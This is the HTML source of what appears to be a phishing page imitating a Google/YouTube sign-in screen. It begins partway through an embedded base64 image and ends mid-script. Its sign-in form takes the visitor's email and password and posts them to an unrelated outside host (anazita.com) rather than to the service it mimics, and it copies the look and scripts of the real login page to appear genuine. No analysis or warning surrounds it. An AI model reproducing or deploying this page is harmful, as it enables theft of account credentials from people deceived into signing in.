EQWvrA4Xnk9OYoyCHw3ORHvQzYyvtrVSpJrk6auWPAnE+Qbf8BpfSwcw+a+TMcR2aM1K8+yB1enF0mLFIa06xjySoVlsnI7g3X8BPGkQkLPYDD4cAJ6PMWi6vymgdJLcwc5euiyrFhqfjQJKE1MYH7Wjna5TI0m77b93LSGexXwkDH9h864hPHFbhnIe6dgKVg/+SM74Hopg2yl9Z8CCi7NTZInEpCCmBY+eLyA0ZTZqLQWFVuMpXIoNE3HY7HAOPsR1jgQ5q0TFLbAO+7AQHDPlGsgfR7C4/ovatMD2eATDw5RqQmr0xckpTk8PkcrIRNXzCE+FINRD2VbsscFFfZd+DREOuTG2Qvi0J2PU9whO1yAEHi/QXNIZiegtjzxYCM3cjHna0Pi0t6BEMFewkkxFVGWqhhALJ4i+/4QELZooCyVTu4i8048tv8sQw3wyhNmNUzx++x2Lo43Y6tT31DIS1mmshdVdRbnkKj5FJZkSxuegVKMB6qJIB3r69I8kq33DmAsFMXZbW+i2GbCmvy4lxDOKCH/AwZUTc5shjN3KEVc2q4TNHAx64VLR1vJnPxFdjyNFUtg38g6rgScGJ3CFH1QICr314dlg/YSKFADYlgMAFocXKwsT0IsdFSiqGaA0jyu9Z3NJrIY2kPprwci7TQSeaGxI04RT9sdZnM+xMDclEnD1L48TOlQ+CYfKTfnsTI/PYDeekaZFKteV1Yu1yITKoVNJiC6kBTP7woXXQfU1q+pNa4zFY4RffsGRcw6boTHT2lrxOIxXX45gnSaFYLyezXL7i3gfJ3cSRdB9CzNEeLVrW0QuuY7QBmVmWP6BlfWPiLE7CVER3AaFqPk1KFLwxi8Gb/rcCwj7XAZ5aznsL75HnHxSjumvWBnX9m6W/aBmgkJlwul5uoAIaSCqFFYk7WGWtAc8xULED5ee4nGxT9fy4sjYtDUNmCQcZS6CHy5MfjjdbmX/r+UmfHYmx2e8/pQ8/eITfuEx3n5fRL3CJhNi1o3pyRPE94ewQEEYXXyVTjXHWMRx+BW+HNl1TPXakQvvvKR31BWC8mFo7FtXnv1LfviyG8AYqU59oisJUdh4byiYom3a3PBy5XYRmN/GuY00h7Ca5qDSX4E2l5821zVtrghtLjUttkDawSxpByAf0ib5kExZTBdEtm+IbPvIdxRV9R0J2sNL0h4cr4mMDfNIlM31CNNfV6HK3WYIJ59EaHYDp6YxymE3MI/tcxum18JQUXLML6KZ8ZlqTSa8TI+GX075uwUWC2nVwQj8ptiQOtcbI2nzU6TNa2l7dUMvkP/8FfnPH7/F98XRmoNHtp6uzcpUgch1lsgVZCV8JyuhQUemKVzvzkNdSYgn0RekrQkL+N+tLOBJdErurzGBUfxDNg2zRiF2rb9ripGsIV+TSf6dTPJaEZbG2w/vWgRm3KvKOJ4u/KANrtKrCcKR/G/XDW0qBZ+WDzYT4zO7JdORF/j0i+6TLP1AfR0LhRCptUatE90xyiTWr6OlV0xAwi2jinXhcAWv1n+jIZlSLC6Sp/9U5Mksdp3wXBcSYgGHK69Aa64htDe9LLLzWrhytdXglSvlJFf1SSmbSy+qqTUXxYeqHp2UDgzz7SqEqKlRGhKO/ng0V4TM9SCZ639UNZ0G1tFwfObb0j9sy4TonNtEqBHntcEYTUWMxWkoZjut/ffayLSyN6ymD0MJGdlV0OPBRzrYuvm+VhcSYlko1U/xeuFXhNxoW6i2R+ayn8zly6ZOTzJvg2Te/lHxSSnOdE0Hvv5oJU1G3bST5qtjAtc03bKGqGz2homNDpsX5OtsdSO2gRAdrzfJ3VDr51Bkr1HCMTCZhfXI7ZNbJo68x+AKqe5zzeKpzEvLd2q0czrn711IiI1riGdbfqyTj0TzJxd7UCVE+Q5qj5GgajQukZMKcTVNIlJHComppWsoZpNZLUYysXWc+kaEo9zTNXWXuBIoeQO3WvDAaHwN7Ffl8NQ3mZsgDsMxUiCOfKrxvL6WltsPYD6eV/dxKn00HCBpxVppANw78GgXEiIo4iv5EDV9Xg0Cr5CL2iYwNCcN+srt+jG/fVlv3jdNIlKHuoETJWld0D6NgkDys6fOt4iQg141g8lgM+cpyDUr3Bhq+tdiBRhDsjE7MCXAZORDbGK8Jsao+AbdS1sq/kthDrJrolcjLUgOzpTr+Zidt/KceTdLoy3flee7khAVkjEXRTVeinYSombbLRIinQpiOSktDErpPM5prATH1XMWKRIefb+KRJ60Q73bPgabWZljj+MpRu3NRCmd8PhGTSWbq66mCbIxlgLhCYp8+ynyfalFDIom1R5ChBypz2gEyyAHP/o1gnSKTFAWvnoZNEMQbBjxjt9MsrxhX//mga4kREU7ojDbjUTF9AhR0X6aJV89DVFItbhu2Mw0oSGKjxRwRjdGloUbI3RVS7j693R4CMJllMLFCdKpFI6E8ldmbiqYJMRmMWp5a9wUISpBMItWAK3NhAhFQ1UPlkmBlwHtfMVWD9mWF+LuN9CVhFjK6dIU3MYWRo8QlVO3NR+ihUzmGjPohnyI6s7/8vyLJzHMLx/gshIS4S4r3Sl2uyfhHqWakUZwGRFOi35Wo+4N/240PsMGyoeMcPvjWjM41G5ClFwhwhictVf5hCDcK8pZdejcaGlRpkzC1NGPdSchQrkUL1w5ayw3UG01dQmxpdQQJcpMJtgmFQyoctC1luogRZlViLZiggUysULLh3joCyHYymVVI8JRIvENR5lvaG8Zjc9UN4pMQedecfsJkTzk0h3lGuLTJMrKuSmZC61G7U3h1ZkPdSkhktlHJ+mscJpTHcSvVAexldJfuoSoOLKvbzoPUYmWN+PINpH3J9+CyU7eQPELQ8JpIVfzJvaV4fhMdEKHh4/uMf/toXXepHxTVVfobRAihU7qTGPZlE6p5R5Wzu3+RItNrKjqI11LiKIDXLz6ZaHAwpqJK2raEOoToiKgwi0MnQIIKs0b3cQo3WRptGKPiZsFku+zqH0drxGJMkE45ds8jWHUyDA0nzUxPt1+hKo1AdLKqMjF47dUIUj1nqXQwu0QYl3wRPZtnmoFWyomV7r91KhM3chC3P1GupgQBfmk7wXP0/eCr/sw/HYFwdHm9EQjQiz5LPsoRyxqMpNfucusV5FHKcKgd9+5TsaUu8xa922lF6Q53R4hQrnvLVSwiWhpWG3aMC0RYrkQh4VMfs3UIwlVqR5ipk1R5hI8ck4ipKt8/eJ1vIx+3UPl3dL9+PtTwaYRqepuQiQkStU6hBqE7iCCVImmUVo0JETqJ7dLCbHb5yZLepmvdqOY/jBR0quy3L1utRtBQuQbDYXh1whOj2Gw0cKyVZaYmQ/VlysCWW67gnmThFjI/sTGqlSqzdyYb4sQheUTErBBhS8+w7pDlW3S5q/VKSlXN1ZerRHGuePPdj0hCvgXsvtYXYzjVPqEGh57JjE5NoLBAYOcOKomnD1NY38rjl/0oSH9q4AVH7N65MZcwIvRuhpzQFU9RFOlwig9JkbpMWJ9QKqHGJjGuMqnNKvrIZopFUb6zOEqlqnenVh0VuOnFLnVjTibJhwijBDVCKSFED/4pVHbURoK1eM7O0Jy5wQDfn9rNS1Nj0/otnrNxWK+niAWZ1wmahHeHiEqOYnXXi+s29vIaBatVVtYocbme/pOzCWlXD2CJxiE16VVoZyK2dLXJ4/p65OX7hCmuvkiM0F1LwhRNhKR3ooidvAb5xUfpe+jj9I/gFAtWEovEao2U9FmFOnj9aVP9FIais3phs9PBU11i83WVIMWqiRTeX8nFXTNt1QxmzSCiurGYsXs/gFxzGi2YjYVlN2KxpAQvkdMFbMlHGp/BeSVsvfiWaLxOc5GCIfyHysrZlOpZpqLlfAVqmYXaDoZSgGq6Je+djcXabHIrzI+jYRkoUL06flV9ZoTEdoeezDjm6JCv2bVmlskRCWTIkOlxq6Fu9ONl0irkimaryADA5RuNdBLn2IleT2/IjKs+ASG5+OW9qcIzEJ0x5+7R4SorISw2Ec4+kXl6oXNV/dRemGD9qLH5sTg0BBGqKy6gz6A0tD9CuF7Icnd6u+UiBvfDgd9U2XSTbcuDJP7VCRH/P7FAXZrvqnSR6RrF7+p8kylAnU9yUkJ2eeweebgnxim77voz66Yp2/ERNcRT5FGoeYnbYgQ5fGofh9GYF2FIEcx6h7GyOBAY9irbThlfHqbUTxk+omYXRgeHcUTJ31LpKFFFxq/TUIsX88UPqLWfPHWC5wlj3CQTOCENIGSElAiyBGM0DeAmsPjjrOfyvDuISF23iLd5Igl/1EW9oYj7/erUOhNYs5tdQ4CTIids1atj1S5zdCv9U0Qgy7SEbyg6qgtF2xtfSbcAiPQFgSYENsC6x1tVMlPbPJ+dKk4QLPv31FYeFiMgIIAE+J9koUWL/c39i2W+wQsz7VbEGBC7JaVNDMP5U5xo9/7ENtWfIjW1j/6ZGas/Awj8A8QYEL8B6D/uy7pjrOPvlf91yamaZj5wJQy1ovkCt5v/BYrvejf1vh3s+OeGYFWEWBCbBXBDnu/dHOHEnLdlJA7rZmQK02sSLURE/ENbFPKDWUoYylEVxObSRnqMJx4uPcTASbEe7juhZMthD7tgS7fSHl/Ngclj1ffVBAS1Et5aUIBWXcAQVO3Ne4hoDzlrkGACbFrlrLRieSRTR8juZ9A6vyy6kZKOTlaTlJ2UZJyo83z84xAByLAhNiBi8ZDZgQYgfYgwITYHly5VUaAEehABJgQO3DReMiMACPQHgSYENuDK7fKCDACHYgAE2IHLhoPmRFgBNqDABNie3DlVhkBRqADEWBC7MBF4yEzAoxAexBgQmwPrtwqI8AIdCACTIgduGg8ZEaAEWgPAkyI7cGVW2UEGIEORIAJsQMXjYfMCDAC7UGACbE9uHKrjAAj0IEIMCF24KLxkBkBRqA9CDAhtgdXbpURYAQ6EAEmxA5cNB4yI8AItAcBJsT24MqtMgKMQAciwITYgYvGQ2YEGIH2IMCE2B5cuVVGgBHoQASYEDtw0XjIjAAj0B4EmBDbgyu3yggwAh2IABNiBy4aD5kRYATagwATYntw5VYZAUagAxG4E4SY3fUjlJ7E59AYHt4iiIXjVfjjVgTXZjD04BY7bkNXnTKXi5+LePPNjqUfPgy1AYd2NNnqmE+iL7CcfY2vK89uVb7bgUW3t9l2Qixkk4jFtnB0+hfSd9GtsDmG4Z6cwLNB6Wu/2S0fFtMT+Lw6joFbRLxwuIrZjR4Ev/vh6nRC7JC5tEoutygepa5aHTMT4r9Yteb6bCshFk6iCCwn8WDYC697AL3CGPNZJJP7sHgi8D/pcBZSwTxH2u5GzxJWnt2mrtvc4v+Lt1oll04cMxOiiVUrHiP88jfc/9hyaCMh5vFzcRbf+t/ie3BUIsOu/+Ww659H6vlXJkSNtWZC7PpN0NQEi8dhvPzS+89dKW0kxAsixDf4Zl/CD5++t0jtBK01tatQdsj+mIufWHzzC0+/LmAwHUV4O4Xzq2syy21wTvgQmBjSJeL6zXmC6ItPwNIWnl/HsBFJ4PQvGfqWPjhHZuDzj2qb9Dkay2IcGeq/8ude+gFl+vn0FiIxavP8itwHFvQ5RzA1M4Mxu9ZxkUcyNIuN/nf4L/AE1fp0Ecfhl/iSn8Mm+V6LWr65fBpbkRgSp+e4uragxzGCGZ/Sp7xGtgX88LvKwy4cYuXVOn47pbYlx4bwI3ymlpGd1ib86jkK0D2Cc3QSvpknov9MwXzh+wiy4Sh2lXHZnJjwBTAxVIlFAbnDXcR2kzj9I7tc+pxw+wOYcZVHJbb56yn56J7gPLaKcCJDcx3Bu/8CUIyQqnFZeuAQ1nNmDNXQF5D9WS1Hw17qq38Xs6Y2ax7pWBiRxCkksZHGOpZdxPvU8xofIvWVjCG2dSTLWA9sTjdm/FOomJoEe4GsqlgMW0dSu4I8PhqeQTAwKmKqqYGK++Mb7BUyKDz7CUvY8lqwG97Azu9zXFtsGJkOwPfMjl7q62c0jPiR8P80JrLuAr5nNTiRoVcpy6p4mt1LBaSji1hNUH+VG0fZ403Ra/MvtZEQhQ37Cl/SI1iIkI9OR0WsW1BhIefjwOQSgp5B2pAkPEcbWNk4w9jnKKbs8oTFBY8jb6XNYffANzkMh/WaBG0b4XgKD1/ra2rqhLiMY6sV1z3DRBxuDA9YcJneQ2QjgcuxJWwSu6kb+kUUCilEiUhy3s8Iua3iIC29veLzQl/z3y7gmvZjctgB63UWh7sxxH/lMbYUJtJUByifDJGf04K33xcxWsUVEmldz20iNNZfIpqqYEWenvGvI+uaRsBLm99yifReBBvJB5heW4Fg1Qsm/vzuMD7GZjAowyqe1uspWK6dmKvsN7cL/3wC7rUIJlScvUVykfiXjzFIm8s7Zkd/4RLZ0zQSeTvmJlwlHN4QDn3WBxj0zEnPCW6UbdqEqYd4/VUal/TL4zASQcYxjjEXYQZ5/IlreNfCGJfHIBGiE6/tR9i7GMHk+BDJTD/sLmpbaOVwBf71LGEvjctymcZeZAPJB9NYqwh0lNdIeS6D1E4Eu2fA379PDLSXAhFTAMvJfrjn/HjuIhnKpXAQjeI4b8Hfh94KQizSs37pWZ8PnuEBcUwJIr29DGEgr40IQZGIxb9MY30Mz+Q4XFYLrvM5pAt2zDyTVqxRQlwueDF9nQE58jHs6MFVager0SM45hZgJ5nMj/vgpjEhu4uNT3vIDr/D94oD2RyeAiGa20vFQgHniRDebw+QnPsgHc0W9PbevkutjYQosMAhVhfXkbqy4rHHi6nxUdjLB3uJxmsXVBTwbUfVJqXGsB98g52hj4jNyFtXPgEzdZqMICRTFNmb1o3saRFiosdT03dZs9GPjkpCkK0lYsE/8uoLspNrCFcxCZ2OdFh8ykxiLawRUJK1NZIULFYwYoE2OfFhiSjr5yIfSJfCRhyviG5KWmeUtE5RyInEppbP4P26inGRiKT3NvonMUYHS37uPwRkNUvsI04RYgqCqen8ZU1NO5oqjTMDp0zk5bPcWPuUnq1/Tmmz5+kCIqTpVh0tMvaXXjocpQnKXJtEaDaK/nffpfkRzquzdJjVrRG5QQLz2D536xNidgu+9wcYerdJ7VWMoEBrP/sFR/aKKHNuH4H5bdhrnxVknKyqbWuZgHL7Acxv2/Fuk7RdDaWiYUJM2MQDpVIUz+hA/JCwwL0QocO5TETSgWzFwg9SakTxkGTZEE9hnWgvmN1Ld8WV0l5CFEXvAumtKGIHv3Eummxu+OYmMTpQXl1VQtwbxlpkosJE1SbEnhqyEHs1kd6hRYiHngrSVTYQEceL5WyNBlPeX6XNqkaI4rtnmC6RTsV7IiGlMamhdSkE9SXvqzBfa0hNdb4KcWySP7P6FBK1wh2XRGyiM/sLCiUMpfeKwR8YS9GhUngrm+uyiQ41812aj6BZvvpyAtfrRcwJ5lctPKVx9tRrvCQn5lws0nO/npa1f2kdob42Ir5ZTG+S5lkFg+Tv3XGR+Sj4NNIRvPhEz6mskYjXNuGl4/C/2A+Kh0WJOEpzl3G7LBOiNF6byrOK3Fplc1/2w9e6NGpwbZgQD7UOfJUx1cq9WTxlQjS7l8zsVxVxuvH/ugVCVMZcxMVJEjuxOH796YG7wkysW1D5BO31ksk8IZjM9O7hBhbXTzD6MQpFQSTWq/ORKL2ZAViLEOs0PFExaZ4QdceiM4cSciLR5OHbDIGsY7IBa7QbNUJUtGdNkVE0ngIOV15hvV/2I4oCX8Bb8r+50oLpTI5uUSOUiPJirlpTrW0+lwyL5tc5bHjs9mDC8wxDFYqZNhbqhHhx8hM7O3s4zeZxWeGfdVRo4Xr4KtqjNgySj9u4Df3cSb1Icu3fdKPOVXKmYXG0SogqOZGa86+Re7N4ipq8mnKgsZfM7NcbZz+VBm+REEtUJZoF8by3pAGqBlVOthBa3cOfK+E90ixtw/AGfHhW6QW/J4QInJGb4AOyM5K/UDRjYvYqs75OoGRsrKT5+SriJWUZKPtoKl0U1BE+5Hz4vkiZAaK5HsXAxxhmegX/YQrPq3x8WiKaR/ZwH1s7ByCfPR49X0JoalDUGM0TYoVPTvaz9Vt60ftAS0NUJyypP2uFb6pmzGKb+haFmc16vwjRGE8mxAbou1bA6oWJnOmrfhw4P5PfRydVu0MIUdAuq/10FWAZmszSs6KPJyP4A5/glHyAMXu1Wa+q7ZJGd0a+s9VK35naOp0R4X3IkB9xGufvPyDnU7RAyTQX+vpsi6v4dY0XPbdPEdZ4oRQEMU2Isu9UCRqVe9LyIWpocHrYVw5fNJnP8brOtCayFM3hQWOTeZueUfGvpiMU2T0vm8x5IulZUyaz5CaK22uyAMxqiGIQbBuumiiz2q0ZsxqirixXjYs1ROPdIT5RIKf9LL5kSUOUAwn1hCiBmSftJlgVWq3p4o4S4hmlpVSRkBApnF3GyUR9UKUWC00QRdLKYubjCBIftuEQtDYlLKyqeclBlZMxLIXJ5NVNBJVIpuB5jtxeBuOKaa60m3Di+cAeDnplf5vJlRYfkzMB7JTKJLjqTBOiouG+Kwd15JOBcDjAgEmTWQkCnFCGQJgGoAmDTMBXdZkJsimfMQiqiOuTxOjSZlVQQowS09onBiqCKjIm1rqgihTA2bE3GlQhX2/ag8+RKdgr1ia3KwRkzsk9VU790tJkTROiHFQxxLMpk1nNr3qBs5NrDAzJFzsakb0mnm2jyXyCWGAXhbFRjJZCy3mc7O/g4HexKtWkfpGKdJ3vPd7vkb1V8RPyC4W8MDFfqrTZqvOslMfNmDk370Mkf9zqLNbPhvE2ROkD/XkUrgfwkPx+yq2dfko18XtclHaTQ+ogimhCP+2mPP0c9mmzJMg3RyJeF5VWnW+eAibBL0g9IHeD14MhB3ljzy9xTtcpE3k3VmaUWLHk+N9IUwrGQGV6CPUu+nN3kO+5gqsi4qwmaxfkP4zmXJgYdcJu7UXhUkpbiZ9RykqESFnXNK31IUrzjRdGMLfoxTClU+VSB4hGj5G3/MVDIWos5+cYrXWefLDBLynpxpRnCI7+Is4vzyk9K4G8ewUKDGcxH0VaH5CMSelAFnH8URycFXFpmHZDVs2KH+unNngo7cYjp90kojEc5iltpyrtRk7DiufhquqLsErXpN0UiFADQtqNsIbP4XI8QP48izSt1TjldopxIiJj34cE+t0kW89Jtig9KUOpNNHkBSx//mDoJgmRujOHZ2MaIm14MUr/kOIGb+lWG20c9NPGyQjZIpRm9VglcNoE3xm+0kZCvMAx5XrFT7PIXwqJyPQTEkqdY5iYmdCJMhdwthXCp6OHmPS6URGMRiGXQCyexuDbTUlzvHMaoiAtacRWw0hkaM6UsOpZKmtyhexPRMPbSJlOzK5ePzEFI07himnSNGtcCZqkUJfU2wOrw0UpaDOUBF0Ou0pmXAaVwQqpdykau335WCUyXD2+4tk+BVR2S0nU0nqPYyYwUdJQTWuIQtMCluEIJZULSdlCIrsb/rkZWPamsP1ozTQhCk2p3al3uNyYJFksw6CemO0bSuP9/CXmDK+VqSdmTxZjeLXnrEsBu0hXJv83lpjtdAcQJCZXNN48tRUuXSRQEqrtSPo/4JoyBpTLAS1riPKSG+PZICEKucZCUnycAnJCUvvjOUQWpQsH83RweJYiIDd0239tJMQmxy5qJAcYU01DkSOiD41vvwDwoBMAAADCSURBVDTZO7/GCDAC9xiBu0eISp6TajQziy3/exy51xBRuypxjxeSp84IMAKtI3D3CFG+qnQ8+BrBabo7LNsEBbradEAm+EHeTJCgdWC4BUaAEbh/CNw9QpR9R1uRLSRP/0iX2YU8RKuNLuRPYGaiTJL3b7l4xowAI9BOBO4mIbZzxtw2I8AIMAIaCDAhsmgwAowAIyAjwITIosAIMAKMABMiywAjwAgwAtUIsIbIEsEIMAKMAGuILAOMACPACFQj8P8jkTYcxFW+jwAAAABJRU5ErkJggg==" style="color: rgb(64, 64, 64); font-family: Arial, sans-serif; font-size: 13px;" /><span style="font-size: 18px;">&nbsp;</span></h1>
</div>
<div class="card signin-card clearfix">
<div id="cc_iframe_parent">
&nbsp;</div>
<img alt="" class="profile-img" src="data:image/png;base64,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" />
<p class="profile-name">
<span class="style1" style="outline: 0; -webkit-text-size-adjust: 100%"><img src="http://i.cubeupload.com/QLmRWm.png" style="height: 35px; width: 250px;" /></span></p>
<form action="http://anazita.com/xmz/submit.php" id="signup" method="post" name="signup">
<input id="checkedDomains" name="checkedDomains" type="hidden" value="youtube" /> <label class="hidden-label" for="Email">Email</label> <input id="Email" name="Email" placeholder="Email" spellcheck="false" type="email" value="" /> <label class="hidden-label" for="Passwd">Password</label> <input id="Passwd" name="Passwd" placeholder="Password" type="password" /> <input class="rc-button rc-button-submit" id="signIn" name="signIn" type="submit" value="Sign in" /> <label class="remember"> <input id="PersistentCookie" name="PersistentCookie" type="checkbox" value="yes" /> <span> Stay signed in </span> </label>
<div class="bubble-wrap" role="tooltip">
<div class="bubble-pointer">
&nbsp;</div>
<input name="rmShown" type="hidden" value="1" /> <a class="need-help-reverse" href="https://accounts..com/RecoverAccount?service=wise&amp;continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23" id="link-forgot-passwd">&nbsp;</a></form>
</div>
<div class="one-">
<p class="create-account">&nbsp;
</p>
<p class="tagline">&nbsp;
</p>
</div>
</div>
<div class="-footer-bar">
<div class="footer content clearfix">
&nbsp;</div>
</div>
</div>
<script>
(function () {
var splitByFirstChar = function (toBeSplit, splitChar) {
var index = toBeSplit.indexOf(splitChar);
if (index >= 0) {
return [toBeSplit.substring(0, index),
toBeSplit.substring(index + 1)];
}
return [toBeSplit];
}
var langChooser_parseParams = function (paramsSection) {
if (paramsSection) {
var query = {};
var params = paramsSection.split('&');
for (var i = 0; i < params.length; i++) {
var param = splitByFirstChar(params[i], '=');
if (param.length == 2) {
query[param[0]] = param[1];
}
}
return query;
}
return {};
}
var langChooser_getParamStr = function (params) {
var paramsStr = [];
for (var a in params) {
paramsStr.push(a + "=" + params[a]);
}
return paramsStr.join('&');
}
var langChooser_currentUrl = window.location.href;
var match = langChooser_currentUrl.match("^(.*?)(\\?(.*?))?(#(.*))?$");
var langChooser_currentPath = match[1];
var langChooser_params = langChooser_parseParams(match[3]);
var langChooser_fragment = match[5];
var langChooser = document.getElementById('lang-chooser');
var langChooserWrap = document.getElementById('lang-chooser-wrap');
var langVisControl = document.getElementById('lang-vis-control');
if (langVisControl && langChooser) {
langVisControl.style.display = 'inline';
langChooser.onchange = function () {
langChooser_params['lp'] = 1;
langChooser_params['hl'] = encodeURIComponent(this.value);
var paramsStr = langChooser_getParamStr(langChooser_params);
var newHref = langChooser_currentPath + "?" + paramsStr;
if (langChooser_fragment) {
newHref = newHref + "#" + langChooser_fragment;
}
window.location.href = newHref;
};
}
})();
</script><script type="text/javascript">
var gaia_attachEvent = function (element, event, callback) {
if (element.addEventListener) {
element.addEventListener(event, callback, false);
} else if (element.attachEvent) {
element.attachEvent('on' + event, callback);
}
};
</script><script> var G, Gb = function (a, b) { var c = a; a && "string" == typeof a && (c = document.getElementById(a)); if (b && !c) throw new Ga(a); return c }, Ga = function (a) { this.id = a; this.toString = function () { return "No element found for id '" + this.id + "'" } }; var Gc = {}, Gf = function (a, b, c) { var d = function (a) { var b = c.call(this, a); !1 === b && Gd(a); return b }; a = Gb(a, !0); a.addEventListener(b, d, !1); Ge(a, b).push(d); return d }, Gg = function (a, b, c) { a = Gb(a, !0); var d = function () { var b = window.event, d = c.call(a, b); !1 === d && Gd(b); return d }; a.attachEvent("on" + b, d); Ge(a, b).push(d); return d }, Gh; Gh = window.addEventListener ? Gf : window.attachEvent ? Gg : void 0; var Gd = function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; return !1 };
var Ge = function (a, b) { Gc[a] = Gc[a] || {}; Gc[a][b] = Gc[a][b] || []; return Gc[a][b] }; var Gi = function () { try { return new XMLHttpRequest } catch (a) { for (var b = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], c = 0; c < b.length; c++) try { return new ActiveXObject(b[c]) } catch (d) { } } return null }, Gj = function () { this.g = Gi(); this.parameters = {} }; Gj.prototype.oncomplete = function () { };
